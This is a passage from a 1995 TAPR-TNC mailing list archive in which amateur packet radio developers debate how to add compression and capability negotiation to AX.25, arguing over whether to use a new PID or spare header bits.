change PERSIST from 255, the list could go on...

****
Thomas A. Moulton, W2VY
w2vy@ram.net

64. Re: [TAPR-TNC:115] Re: Compression/Capability Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Mon, 30 Oct 1995 14:13:35 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030133808.32658B-100000@lantz.com>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Tom Moulton wrote:

> >HIGHLY unmanageable!
>
> Well... first F2 is a management stream to control the data encoding of the
> F0 stream...

Then where's the SABM to create this stream?

> >> Many protocols use more than one PID.
> >
> >Name one?
>
> TCP/IP

HONK! Wrong answer! Lumping all of TCPIP (a family of protocols) into one
'protocol' is like lumping all of packet radio into a 'digital' protocol....

While some separate and distinct protocols WITHIN the TCP/IP spec DO use
separate PIDs, NO INDIVIDUAL PROTOCOL *ever* uses more than ONE PID.
Never has, never will....

And each of these separate protocols with separate PIDs, set up SEPARATE
VC's, with separate SAMBs (if they are in VC mode). Absolutely separate
streams, from creation to distruction.

> I did not miss the point. I wanted to point out that Most, if not ALL tnc's
> support the feature I mentioned. I do not dispute that compression IS done
> with pid F0.

Then you agree that the PIDCHECK is NOT able to serve the purpose of the
initial design (that of screening out text that the user cannot or does
not wish to deal with), and I presume you could also agree that it is
therefore unimportant to this discussion....

> But if you have an IP datagram that is compresses, I don't think it should
> still use CC. If you just compress the data portion then it's a higher
> layer issue and was negotiated elsewhere...

Who's talking about an IP datagram? WHere did that come from ;-)

I'm talking about ALL applications of this extension to the protocol of
the LINK layer (not the application layer).

Anytime ANY station wishes to use a PID other that one he now has a
connection on (include PID F0), he should (1) send a SABM, (2) get a UA,
(3) and send a DISC when that particular PID will no longer be in use.
Otherwise, you are making it FAR to difficult to 'sell' to the HUNDREDS
of movers and shakers that would have to 'buy' into this idea.

I'm just ONE squeaky wheel, but *I* can't buy into a roulette wheel of
changing PIDs on a single stream.

> I agree that the dynamic compression techniques (LZW, etc) that build a
> table on the fly don't each need their own PID, but some FIXED TABLE
> table look ups will require a PID to identify that they are that type

Why? The identification of which type of compression is done WHEN THE
NEGOTIATIONS are done. Any monitoring station must see the full
transaction, you they cannot hope to decode the compressed stream, just
the same as it is now for PBBS forwarding using compressions and
compressed streams under xNOS.

Why insist on making it more difficult that it needs to be.

> I only propose F2 pid. The rest is up to the compression people. Many CAN
> use F0, some will require something else (like Compressed UI frames, no
> negotiation possible)

Why do you feel that ANY other PID is needed? It is clearly NOT needed,
and will currently BREAK many packet applications and firmware, while the
method I have proposed will NOT break them, just simply not be able to
use compression through sites that do not support it.

> >4) Any network firmware (such as ROSE) that does point-to-point acks,
> >when seeing any frame with the 'C' bit set, sets the 'C' bit of the
> >response, IF is supports passing the negotiations. Those that do not,
> >will do as the do now (for backwards compatibility) and clear the 'C' bit.
> >
> what if you send 3 I frames, C=1, C=0, C=1 do I Have to send 3 RR's to
> match?

You do what is ALREADY defined by the spec to do with I frames. A
compressed I frame is just an I frame. The linklevel provider does not
CARE whether the data is compressed or not, he uses the same packet
sizes, the same windows, etc. The Protocol remains intact with VERY MINOR
changes, unlike the method you propose.

> >5) Any network firmware that does end-to-end acks, need only be concerned
> >that they allow the 'C' and 'N' bits to be set, and that they deliver
> >them in the state they were received in.
>
> what if i get 2 frames C=0 and C=1 am I allowed to package them into
> one frame to forward? (Now all F0 gets collected together and forwarded
> through the network in full frames)

I was unaware that ROSE was NOT sending the data in the same form that
the originator snet it with. I would consider this a BUG in ROSE. The
network should deliver the data in the same format as it was received!

But to answer your question, NOPE, you cannot combine compressed and

uncompressed packets together. That seems QUITE obvious! Since the
link-level provider has NO IDEA now the data is compressed, he cannot
modify one to match the other.

Besides, in YOUR proposal, they would be two frames, anyway, with two
DIFFERENT PIDs, one of which was never initialized properly.

> I guess that the changes I propose are fewer changes to the actual actions
> of Level 2, but do need an upper layer handler for the new Upper Layer
> Protocol Negotiator.
>
> Hell this F2 stream could do a lot of things if we wanted it to...
>
> How about a way to accept requests to reduce TXD, increase FRACK,
> change PERSIST from 255, the list could go on...

Possibly, but you are talking about virtual-virtual circuits, that pop up
with no warning, and disappear just as quickly, that do NOT conform even
closely to the state machines of the existing protocol.. This kind of
tom-foolery (pardon the pun) should be left to the application layer,
and as such does not belong in a discussion of how to impliment
compression into the link layer of AX25 and the supported firmware and
applications.

I'm sure that someone besides Tom and I have opinions and ideas on this?
Don't let our heated exchange (rather normal for us ;-) scare you off
into the corner.....

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:

```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

65. Re: [TAPR-TNC:115] Re: Compression/Capability Negotiation

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 30 Oct 1995 14:33:27 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030142507.251E-100000@n2wx.ampr.org>
Rendered body type: text/plain

Of PIDs....

Seems the l2 spec might be the problem in that it specifies PID as
"indicating the protocol to be used at level 3." Purists (of which I am
one, ocassionally) might balk at changing it in midstream, and if it
breaks things to do so, it might behoove us to consider alternatives.

Would it be possible to retain Tom's C bit idea, yet accomodate Brian's
concerns about changing PIDs by forcing a bilateral handshake (initiated
by the called TNC) that takes place in two isolated I frames immediately
after the link is set up?

n2wx+>ko4ks <SABM>
ko4ks+>n2wx <UA>
ko4ks+>n2wx <I> BLAH BLAH + RLL + BLAH BLAH
n2wx+>ko4ks <I> RLL

and then it proceeds?

Does away though with dynamic changes to the compression method...that is,
assuming the compression engine selected in the handshake isn't smart
enough to switch modes by itself (in which case even if it did it still
leaves the network in a lurch as far as it's own compression but maybe
the network can, on the fly, evaluate whether a packet is better sent
compressed or left alone)(and perhaps it's best done that way anyway?)

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

66. Re: [TAPR-TNC:116] Re: Compression/Capability Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Mon, 30 Oct 95 15:59:49 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fb2@ram.net>
Rendered body type: text/plain

>While some separate and distinct protocols WITHIN the TCP/IP spec DO use
>separate PIDs, NO INDIVIDUAL PROTOCOL *ever* uses more than ONE PID.
>Never has, never will....
>
>And each of these separate protocols with separate PIDs, set up SEPARATE
>VC's, with separate SAMBs (if they are in VC mode). Absolutely separate
>streams, from creation to distruction.

So an IP datagram will set up one stream and then if an ARP request needs
to be sent it will issue a SABM to send the ARP request even though it is
already talking to that station? In ROSE that would cause a Link Reset.
since the PID is part of the I frame not SABM.

>> But if you have an IP datagram that is compresses, I don't think it should
>> still use CC. If you just compress the data portion then it's a higher
>> layer issue and was negotiated elsewhere...
>
>Who's talking about an IP datagram? WHere did that come from ;-)

You enforced the phrase (something like) 'Normal PID IN USE' vs F0

forget it

>
>I'm talking about ALL applications of this extension to the protocol of
>the LINK layer (not the application layer).
>
>Anytime ANY station wishes to use a PID other that one he now has a
>connection on (include PID F0), he should (1) send a SABM, (2) get a UA,
>(3) and send a DISC when that particular PID will no longer be in use.

Why AX25 makes no restrictions in that area, ax25 leaves the PID to
the upper layer to play with..

>Otherwise, you are making it FAR to difficult to 'sell' to the HUNDREDS
>of movers and shakers that would have to 'buy' into this idea.
>
>I'm just ONE squeaky wheel, but *I* can't buy into a roulette wheel of
>changing PIDs on a single stream.

I guess I need to hear from more developers on this one...

>
>> I agree that the dynamic compression techniques (LZW, etc) that build a
>> table on the fly don't each need their own PID, but some FIXED TABLE
>> table look ups will require a PID to identify that they are that type
>
>Why? The identification of which type of compression is done WHEN THE
>NEGOTIATIONS are done. Any monitoring station must see the full
>transaction, you they cannot hope to decode the compressed stream, just
>the same as it is now for PBBS forwarding using compressions and
>compressed streams under xNOS.

You are only thinking of stuff like LZW. If you don't want to support
anything other that inside F0, ok but there may be others that will
use the fixed table lookup, which each frame could be decoded in isolation.

>Why do you feel that ANY other PID is needed? It is clearly NOT needed,
>and will currently BREAK many packet applications and firmware, while the
>method I have proposed will NOT break them, just simply not be able to
>use compression through sites that do not support it.

In either case they do not break existing systems. but need code to make
them work. Let's see what other developers think about PIDs.

>
>> >4) Any network firmware (such as ROSE) that does point-to-point acks,
>> >when seeing any frame with the 'C' bit set, sets the 'C' bit of the
>> >response, IF is supports passing the negotiations. Those that do not,
>> >will do as the do now (for backwards compatibility) and clear the 'C' bit
>.
>> >
>> what if you send 3 I frames, C=1, C=0, C=1 do I Have to send 3 RR's to
>> match?

>
>You do what is ALREADY defined by the spec to do with I frames. A
>compressed I frame is just an I frame. The linklevel provider does not
>CARE whether the data is compressed or not, he uses the same packet
>sizes, the same windows, etc. The Protocol remains intact with VERY MINOR
>changes, unlike the method you propose.

No, You say I have to respond to frames with C=1 with frames C=1 and
frames C=0 with C=0. If I get both then I have to forget windowing and
ack each one... not minor changes

>
>I was unaware that ROSE was NOT sending the data in the same form that
>the originator snet it with. I would consider this a BUG in ROSE. The
>network should deliver the data in the same format as it was received!

But since F0 has been used as stream oriented (usually) ASCII data
I put a PAD function in ROSE to have move full packets through the
network.
>
>
>Possibly, but you are talking about virtual-virtual circuits, that pop up
>with no warning, and disappear just as quickly, that do NOT conform even
>closely to the state machines of the existing protocol.. This kind of
>tom-foolery (pardon the pun) should be left to the application layer,
>and as such does not belong in a discussion of how to impliment
>compression into the link layer of AX25 and the supported firmware and
>applications.

Brian - NOWHERE in the AX25 SPEC is the PID considered a CONSTANT for
the duration of the connection... IF IT WAS IT WOULD NOT HAVE BEEN PUT
IN THE I FRAME!
>
>I'm sure that someone besides Tom and I have opinions and ideas on this?
>Don't let our heated exchange (rather normal for us ;-) scare you off
>into the corner.....

normal, yes, but not usually so strongly opposed...

****
Thomas A. Moulton, W2VY
w2vy@ram.net

67. Re: [TAPR-TNC:117] Re: Compression/Capability Negotiation

From: "Tom Moulton" <tmoulton@ram.net>
Date: Mon, 30 Oct 95 16:06:11 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fb3@ram.net>
Rendered body type: text/plain

>Of PIDs....
>
>Seems the l2 spec might be the problem in that it specifies PID as
>"indicating the protocol to be used at level 3." Purists (of which I am
>one, ocassionally) might balk at changing it in midstream, and if it
>breaks things to do so, it might behoove us to consider alternatives.
>
>Would it be possible to retain Tom's C bit idea, yet accomodate Brian's
>concerns about changing PIDs by forcing a bilateral handshake (initiated
>by the called TNC) that takes place in two isolated I frames immediately
>after the link is set up?
>
>n2wx+>ko4ks <SABM>
>ko4ks+>n2wx <UA>
>ko4ks+>n2wx <I> BLAH BLAH + RLL + BLAH BLAH
>n2wx+>ko4ks <I> RLL
>
>and then it proceeds?
>
>Does away though with dynamic changes to the compression method...that is,
>assuming the compression engine selected in the handshake isn't smart
>enough to switch modes by itself (in which case even if it did it still
>leaves the network in a lurch as far as it's own compression but maybe
>the network can, on the fly, evaluate whether a packet is better sent
>compressed or left alone)(and perhaps it's best done that way anyway?)
>

But what happens when talkint to a network?

There is usually a dialogue there... when are the first frames expected
to come in from the remote? it will be after a few frames already
came in from the network...

This is why I'm pushing for the PID.. it would be identifible

****
Thomas A. Moulton, W2VY
w2vy@ram.net

68. Re: [TAPR-TNC:117] Re: Compression/Capability Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Mon, 30 Oct 1995 15:10:56 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030150627.650A-100000@lantz.com>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Howard Goldstein wrote:

> Of PIDs....
>
> Seems the l2 spec might be the problem in that it specifies PID as
> "indicating the protocol to be used at level 3." Purists (of which I am
> one, ocassionally) might balk at changing it in midstream, and if it
> breaks things to do so, it might behoove us to consider alternatives.

My point exactly...

> Would it be possible to retain Tom's C bit idea, yet accomodate Brian's
> concerns about changing PIDs by forcing a bilateral handshake (initiated
> by the called TNC) that takes place in two isolated I frames immediately
> after the link is set up?
>
> n2wx+>ko4ks <SABM>
> ko4ks+>n2wx <UA>
> ko4ks+>n2wx <I> BLAH BLAH + RLL + BLAH BLAH
> n2wx+>ko4ks <I> RLL
>
> and then it proceeds?

Without some other indicator, how do you knwo that the "BLAH BLAH + RLL +
BLAH BLAH" is a negotiona on compressions that MADE it through a network,
or uncompressed data due to a network that didn't support compression.
There really needs to be SOME distinction on where the negotiation IS.

If we are going to define the usage of a 'C' bit, why stop there and make
teh negotiation iffy? Define a 'N' bit, and then ANY negotiations (even
non-compression-related) can be done as needed.

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

69. Re: [TAPR-TNC:118] Re: Compression/Capability Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Mon, 30 Oct 1995 15:35:07 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030152159.650B-100000@lantz.com>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Tom Moulton wrote:

> So an IP datagram will set up one stream and then if an ARP request needs
> to be sent it will issue a SABM to send the ARP request even though it is
> already talking to that station? In ROSE that would cause a Link Reset.
> since the PID is part of the I frame not SABM.

No, an ARP is ALWAYS using Datagram mode, but the internal structure sets
up a separate VC for the duration of it's usage.

> You are only thinking of stuff like LZW. If you don't want to support
> anything other that inside F0, ok but there may be others that will
> use the fixed table lookup, which each frame could be decoded in isolation.

And those are details to be left to the applications layer, NOT the link
layer.

> No, You say I have to respond to frames with C=1 with frames C=1 and
> frames C=0 with C=0. If I get both then I have to forget windowing and
> ack each one... not minor changes

Incorrect! You ack with the state of the 'C' bit set to the same state as
the last received frame that you are ACKing. The windowing and state
machine remain EXACTLY the same.

> But since F0 has been used as stream oriented (usually) ASCII data
> I put a PAD function in ROSE to have move full packets through the
> network.

F0 PID, as per the AX25 spec (v2.0) is for "No layer 3 implemented".
Compression added to the link layer does NOT make a layer 3, hence (as I
have been saying) the PID should remain untouched, else we start
rewriting section 2.2.4 of the spec, for no real reason.

> Brian - NOWHERE in the AX25 SPEC is the PID considered a CONSTANT for
> the duration of the connection... IF IT WAS IT WOULD NOT HAVE BEEN PUT
> IN THE I FRAME!

I hate to quote the spec, but I again must. Also from section 2.2.4.....
"The Protocol Identifier (PID) field shall appear in information frames
(I and UI) only. It identifies what kind of layer 3 protocol, if any, is
in use."

Adding compression to the link-layer does NOT make this a layer 3
protocol, hence the PID should remain as the spec specified for it to be.

While the PID is NOT specified to HAVE to remain constant, it is clear
from the spec that the ONLY reason it should change within a connect is
if the Layer 3 Protocol wer to change in mid stream, NOT some feature at
the link layer.

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:

```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

70. Paradigm shift time?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 30 Oct 1995 17:21:36 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030170243.456C-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Brian A. Lantz wrote:

[also responding to the dumb 0xF0 handshake]

> > ko4ks+>n2wx <I> BLAH BLAH + RLL + BLAH BLAH
> > n2wx+>ko4ks <I> RLL
> >
> > and then it proceeds?
>
> Without some other indicator, how do you knwo that the "BLAH BLAH + RLL +
> BLAH BLAH" is a negotiona on compressions that MADE it through a network,
> or uncompressed data due to a network that didn't support compression.
> There really needs to be SOME distinction on where the negotiation IS.

Yup it falls apart. But I think maybe we need to focus down a little
bit....

> If we are going to define the usage of a 'C' bit, why stop there and make

> teh negotiation iffy? Define a 'N' bit, and then ANY negotiations (even
> non-compression-related) can be done as needed.

There is a spare bit, isn't there? But this too will have to change
dynamically as in the case of the the thenet style of connections....BUT

Paradigm reexamination time?

How useful it is it really to account for compression across the network
instead of just to the first l2 link? It seems to me is that the network
beyond the access point should be a black box (or a black hole if
cynical).

If some things don't pass through the network, PIDs, control bits,
whatever, so what? The exit point can and should handle setting up
compression. Perhaps the network and the called TNC are more capable than
the calling TNC (a baycom for example). Why limit the powerful
stuff to the lowest common denominator? I bet/hope you network types are
gonna eventually ignore the absence (or presence) of compression anyway
if you can do a better job internally yourselves.

Nothing should ever _have_ to pass end-end except for setup, tear down,
and data (of no concern to the end TNC anyway except that it tickles these
events). We don't run the user's v.42bis control stuff across a T1 link
but we might use it to ring up the concentrator. Same thing. Internal
network compression is the network's business. Let Reagan be Reagan, and
let the TNCs work compression out with the network at the AP...and that
compression need only go so far as the network TNC's internal buffers...

This has other salutary benefits: 1) complete compatibility with all
future networks; 2) ability to negotiate locally while preserving 0xF0 a
la my earlier suggestion; 3) correct division of efforts between each
user's connection and the providing network

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

71. Re: [TAPR-TNC:122] Paradigm shift time?

From: "Tom Moulton" <tmoulton@ram.net>
Date: Mon, 30 Oct 95 20:34:09 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fb4@ram.net>
Rendered body type: text/plain

>Paradigm reexamination time?
>----------------------------
Maybe.

>
>How useful it is it really to account for compression across the network
>instead of just to the first l2 link? It seems to me is that the network
>beyond the access point should be a black box (or a black hole if
>cynical).
>
>If some things don't pass through the network, PIDs, control bits,
>whatever, so what? The exit point can and should handle setting up
>compression. Perhaps the network and the called TNC are more capable than
>the calling TNC (a baycom for example). Why limit the powerful
>stuff to the lowest common denominator? I bet/hope you network types are
>gonna eventually ignore the absence (or presence) of compression anyway
>if you can do a better job internally yourselves.

But we should not limit ourselves to what the networks provide. I agree
that there might be times when the network will want to override what
the tnc wants.
>
>Nothing should ever _have_ to pass end-end except for setup, tear down,
>and data (of no concern to the end TNC anyway except that it tickles these
>events). We don't run the user's v.42bis control stuff across a T1 link
>but we might use it to ring up the concentrator. Same thing. Internal
>network compression is the network's business. Let Reagan be Reagan, and
>let the TNCs work compression out with the network at the AP...and that
>compression need only go so far as the network TNC's internal buffers...
>
>This has other salutary benefits: 1) complete compatibility with all
>future networks; 2) ability to negotiate locally while preserving 0xF0 a
>la my earlier suggestion; 3) correct division of efforts between each
>user's connection and the providing network

and inability to support a new compression technique until the network
people implement it...

My scheme will allow the network to run compression internally and locally.

I will try one more time to explain the protocol purity associated with
using the additional PID... But atleast we agree there needs to be a
shift in thinking...

****
Thomas A. Moulton, W2VY
w2vy@ram.net

72. Re: [TAPR-TNC:122] Paradigm shift time?

From: "Brian A. Lantz" <brian@lantz.com>
Date: Mon, 30 Oct 1995 19:43:46 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030194221.3144I-100000@lantz.com>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Howard Goldstein wrote:

> Paradigm reexamination time?
> ----------------------------
>
> How useful it is it really to account for compression across the network
> instead of just to the first l2 link? It seems to me is that the network
> beyond the access point should be a black box (or a black hole if
> cynical).
>
> If some things don't pass through the network, PIDs, control bits,
> whatever, so what? The exit point can and should handle setting up
> compression. Perhaps the network and the called TNC are more capable than
> the calling TNC (a baycom for example). Why limit the powerful
> stuff to the lowest common denominator? I bet/hope you network types are
> gonna eventually ignore the absence (or presence) of compression anyway
> if you can do a better job internally yourselves.

So, you are saying, forget the whole matter, huh....

Brian A. Lantz   http://www.lantz.com   brian@lantz.com

REAL PORTION of Microsoft Windows code:
```
        while (memory_available)        {
                eat_major_portion_of_memory (no_real_reason);
                if (feel_like_it)
                        make_user_THINK (this_is_an_OS);
                gates_bank_balance++;
        }
```

73. Re: [TAPR-TNC:123] Re: Paradigm shift time?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 30 Oct 1995 20:45:59 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030204408.159F-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Tom Moulton wrote:

> >network compression is the network's business. Let Reagan be Reagan, and
...
> >
> >This has other salutary benefits: 1) complete compatibility with all
...

> and inability to support a new compression technique until the network
> people implement it...

Yes, and the TNC people too

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

74. Re: [TAPR-TNC:124] Re: Paradigm shift time?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Mon, 30 Oct 1995 21:18:17 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951030204607.159G-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Brian A. Lantz wrote:

> > If some things don't pass through the network, PIDs, control bits,
> > whatever, so what? The exit point can and should handle setting up
> > compression. Perhaps the network and the called TNC are more capable than
> > the calling TNC (a baycom for example). Why limit the powerful
> > stuff to the lowest common denominator? I bet/hope you network types are
> > gonna eventually ignore the absence (or presence) of compression anyway
> > if you can do a better job internally yourselves.
>
> So, you are saying, forget the whole matter, huh....

Did I say that? Let me try again, and preface with some indistinct
mutterings over perhaps too much attention being paid to network
methodology at the link layer. This message goes on and on but it really
does take forever to rebuild linux on a 5mb 386...

I don't want to nor should I have to worry about the network component.
Life's short, all I want to do is establish my link with someone - anyone
- negotiate compression, and move on. (If my partner does the same thing
with his partner then we have the beginnings of a near-olympic quality
relay race, or maybe an electronic simulation by negotiation of the spread
of STDs)

So my user has a brain dead network that makes him connect with a local
network component and go through a chinese fire drill to build up to a
remote connection? Cool, it isn't a TNC problem. I'm compressed with the
network entry point. Once my link is established, I'm done, finis,
through. The network wants to compress on it's own? That's cool too Mr.
network, you've decompressed me already. Now it's your baby once you give
me the RR so have a good time but please, on the return trip, do live up
to the compression protocols we negotiated when we both signed on for this
lousy paying job...

Yes, this approach distributes loading all across the network and for
those tokenizing schemes eats up lots of memory at each link that might
have been eaten up only at the endpoint. And it is not upgradeable at the
standalone TNC level, but I refer to the landline modem model on this one.
Folks, please reread the stuff we've been thrashing here, hacks to l2v2 to
better integrate it as a network layer component. The user TNC software
was never designed (some would end the sentence there) to be more than a
point-to-point device and it seems lot of the grief we're now facing came
about because of all the network stuff grew up independantly around it,
recognizing and filling in for its point-to-point limitations.

The second worst tragedy would be to wind up with a technically perfect
solution no one will implement, and the worst would be to leave things as
they were after all the bickering of the network war days. Surely there
must be some approach no one likes yet everyone is somehow able to sign
on to, maybe nice and big like in John Hancock style to stick under the
noses of those who didn't think it could be done.

--
Howard Goldstein   <hg@n2wx.ampr.org>   http://www.tapr.org/~n2wx/

75. subscribe tapr-tnc

From: Bob Morgan <morganb@tenet.edu>
Date: Mon, 30 Oct 1995 20:54:19 -0600 (CST)
To: tapr-tnc@tapr.org
Message-ID: <199510310254.UAA13834@Leslie-Francis.tenet.edu>
Rendered body type: text/plain

Bob Morgan

76. Re: [TAPR-TNC:125] Re: Paradigm shift time?

From: "Tom Moulton" <tmoulton@ram.net>
Date: Tue, 31 Oct 95 01:32:21 EST
To: tapr-tnc@tapr.org
Message-ID: <15021573.1fb6@ram.net>
Rendered body type: text/plain

Let's think about what points we need to reconsider.

Is the PID assigned to only ISO Level 3 Protocols or to Upper Layer
Protocols running on top of the Level 2 Link?

    IP is not a pure ISO Level 3 Protocol. I think ARP is more of an
    address broadcast protocol.

    X.25 is a Level 3 Protocol

    I think most of the others were ip related as well

    Oh yea, F0 is raw user data

Is the Address field for more than Physical Addressing?
     (Also could be called The Purist Point of view)

    AX25 is based upon LAPB which is a subset of HDLC.

    The general format is ADR CTL [Data] FSC

    The ADR field is a single byte of 01 or 03 (Command/Response)

    The AX25 extentions include the standard address extention to
    include the callsigns. All of the bits in the extended address
    are currently used by physical addressing Digipeater fields
    and Command/Response. The Command/Response bits are controlled
    by the Level 2 Addressing and the rest are physical addressing.
    The CTL byte is controlled by Level 2. The Data field is a PID
    followed by the User Data bytes.

    The PID indicates what kind of data is in the data field, which
    is dictated by the upper layer (be it L3, L4,.. Application)

Is the 'F2 Negotiation' a change to Level 2 or a new application?

    Maybe if you consider the F2 PID frames to be a network management
    application, it could be implemented like a simple command parser.
    If the code (tnc or nos) were to intercept the F2 frames and pass
    them to a parser that would send the reply and update the parameters
    of the real (F0/whatever) stream.

I also acknowledge that the network enhancements will place different
constraints upon the solution, but we do need to talk. I really think
that the network should keep out of the way for now. Let the users do
their own thing, so that the networks don't slow them down. Not to
mention that for the standard z80 a 2k-4k compression table or buffer
would limit the number of connections greatly. But that same buffer in
the TNC is managable.

****
Thomas A. Moulton, W2VY
w2vy@ram.net

77. Compression Discussion

From: gwyn@paccomm.com (Gwyn Reedy, W1BEL)
Date: Tue, 31 Oct 95 07:47:47 UTC
To: tapr-tnc@tapr.org
Message-ID: <9132@paccomm.com>
Rendered body type: text/plain

I'm very excited about the compression dialogue going on. This is the kind
of activity that make the SIGs so valuable.

I know all of the current discussees quite well personally, and I'd like
to pass along one piece of advice. Please avoid any (all) tendencies to
let this valuable discussion degenerate into a flamefest. Discuss and
argue till you are blue, but avoid taking personal affront as that is
when the value of the discussion rapidy approaches zero.

This kind of discussion was the manner in which the AX.25 spec came into
being back when. The 'standards process' with official ARRL meetings, etc.
has not been able to move it forward since. Looks to me like this is the
way to develop a backward compatible negotiation device that will allow
many things to be negotiated between consenting TNCs.

Once you agree on an AX.25 L2 compatible (non-destructive) scheme, then
many things beside compression can be negotiated. Speed and modulation

changes (not so easy through a network, but lots of frames don't see a
network), protocol variations, etc.

Nuff said. Keep up the good work and know that you have lots of support
from this end.

_ _
Gwyn Reedy, W1BEL gwyn@paccomm.com W1BEL@amsat.org

PacComm Packet Radio Systems, Inc. +(813) 874-2980 Fax:+(813) 872-8696
4413 N. Hesperides St. BBS: +(813) 874-3078 (V.34)
Tampa, FL 33614-7618 USA info@paccomm.com http://www.paccomm.com/info

78. Re: [TAPR-TNC:128] Re: Paradigm shift time?

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Tue, 31 Oct 1995 08:53:37 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031085118.122B-100000@n2wx.ampr.org>
Rendered body type: text/plain

On Mon, 30 Oct 1995, Tom Moulton wrote:

...
> Oh yea, F0 is raw user data
>
> Is the Address field for more than Physical Addressing?
> (Also could be called The Purist Point of view)
...
> The PID indicates what kind of data is in the data field, which
> is dictated by the upper layer (be it L3, L4,.. Application)
>
> Is the 'F2 Negotiation' a change to Level 2 or a new application?

Brian, would it break anything or be difficult to implement if the
ax.25<>tcp-ip gate code were set up in such a way as it only had to
recognize 0xf2 and a negotiation bit but did *not* have to pass it along
the network?

--
Howard Goldstein <hg@n2wx.ampr.org> http://www.tapr.org/~n2wx/

79. Re: [TAPR-TNC:116] Re: Compression/Capability Negotiation

From: n5pvl@texoma.com (Charles Brabham)
Date: Tue, 31 Oct 1995 08:30:11 -0600
To: tapr-tnc@tapr.org
Message-ID: <199510311430.IAA11900@mercury.texoma.com>
Rendered body type: text/plain

Hi guys...

>Why do you feel that ANY other PID is needed? It is clearly NOT needed,
>and will currently BREAK many packet applications and firmware, while the
>method I have proposed will NOT break them, just simply not be able to
>use compression through sites that do not support it.

I won't pretend to be able to follow this discussion, but do have a
observation I'd like to offer. If it's "noise", just ignore this posting and
go on..

One reason BBS compression has worked out as well as it has is that it
DOESN'T depend on the network to do anything special.. After the connection
to the distant BBS is made and compression agreed upon between the two
stations, the compressed data is exchanged as "normal" packet data. This
lets me forward compressed over ANY network.

We could use a setup " just simply not able to use compression through sites
that do not support it ", but if we do we can also count on it not being
implemented on any wide-scale basis, or very rapidly.

Rather than being a neat "toy" for the exclusive club of network hackers, I
would hope that TNC-based compression would be usable by anyone, over any
existing network. It really needs to be a "no-brainer" (for the many guys
like myself) or it simply won't see wide-scale use.

To summarize... Let's make an effort to have the ONLY the two stations which
are connected be required to have compressed TNC's, and be able to do so
through "network" TNC's, whether they are compressed or not.

Once again, my comment could very easily arisen from simple ignorance of
what's being discussed. If that's the case, then I'll borrow Rosanna Rosanna
Danna'a line...

"Never mind!"

73 DE N5PVL @ N5PVL.#NTX.TX.USA.NOAM
Internet: n5pvl@texoma.com

The likelihood of the toast landing on the buttered side is directly
proportional to the value of the carpet.

80. Re: [TAPR-TNC:131] Re: Compression/Capability Negotiation

From: "Brian A. Lantz" <brian@lantz.com>
Date: Tue, 31 Oct 1995 11:06:21 -0500 (EST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.3.91.951031105321.20863A-100000@lantz.com>
Rendered body type: text/plain

On Tue, 31 Oct 1995, Charles Brabham wrote:

> To summarize... Let's make an effort to have the ONLY the two stations which
> are connected be required to have compressed TNC's, and be able to do so
> through "network" TNC's, whether they are compressed or not.

Charles:
While you may not feel you have understood the technobabble, you are
right on the money as to WHY the debate. The scheme must be such that
little or NO changes NEED to be made to ANY software except that which
WISHES to make their enduser traffic utilize compression.

Tom:
And this is WHY the changes to the L2 MUST be as minimal as possible, and
consistent with the existing state machines in use. Modifying for a
flip-flopping PID WILL NOT make the cut. Simple usage of undefined bits
in the header WILL. ALL a firmware/software vendor/developer needs to
do under the 'bits' proposal I've given is to make sure he PASSES those
bits AS GIVEN, and doesn't assume they are always 0 (and DOES NOT change
them to zero).

This effects NO state machines, adds NO needed analysis of PIDs, and
keeps the PIDs for what they were designed for in the spec; for
designating Level 3 types.

Existing software can be made 'compression-friendly' in MINUTES using the
'bits' proposal, while the 'pid' proposal COULD require extensive
